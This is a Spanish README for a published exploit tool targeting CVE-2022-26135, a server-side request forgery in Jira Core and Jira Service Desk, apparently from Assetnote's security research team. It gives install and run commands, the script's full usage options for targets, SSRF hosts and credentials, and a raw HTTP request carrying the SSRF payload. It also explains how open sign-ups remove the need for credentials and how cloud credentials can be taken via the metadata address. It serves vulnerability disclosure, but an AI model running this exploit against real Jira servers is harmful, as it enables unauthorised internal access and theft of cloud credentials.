
Código de explotación para Jira Mobile Rest Plugin SSRF (CVE-2022-26135)
Assetnote mapea automáticamente tus activos externos y los monitorea en busca de cambios y problemas de seguridad para ayudar a prevenir infracciones graves.
Esta investigación fue realizada por el equipo de Investigación de Seguridad de Assetnote.
Puedes leer más sobre nuestro producto y nuestro equipo en https://assetnote.io.
La publicación del blog que detalla los pasos seguidos para el descubrimiento de esta vulnerabilidad se puede encontrar aquí.
Jira Core y Jira Service Desk son vulnerables a server-side request forgery después de la autenticación. En algunos casos, es posible aprovechar los registros abiertos en Jira Core o Jira Service Desk para explotar esta falla de server-side request forgery sin tener credenciales conocidas.
La vulnerabilidad SSRF permite a los atacantes enviar solicitudes HTTP utilizando cualquier método HTTP, encabezados y cuerpo a URLs arbitrarias. Cuando Jira se despliega en un entorno de nube, un atacante puede aprovechar esta cadena de explotación para obtener credenciales de la nube u otra información sensible a través de la dirección IP de metadatos.
Según el aviso de Atlassian, consulta el siguiente artículo de la base de conocimiento para confirmar si estás ejecutando una versión de software afectada: https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
y luego puedes usar el exploit usando:
python3 exploit.py
Ayuda:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
Si ya tienes credenciales para Jira / Jira Service Desk, configura --mode en manual y el argumento --software en jira o jsd.
La siguiente solicitud HTTP se puede utilizar para reproducir este problema, una vez autenticado en la instancia de Jira:
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}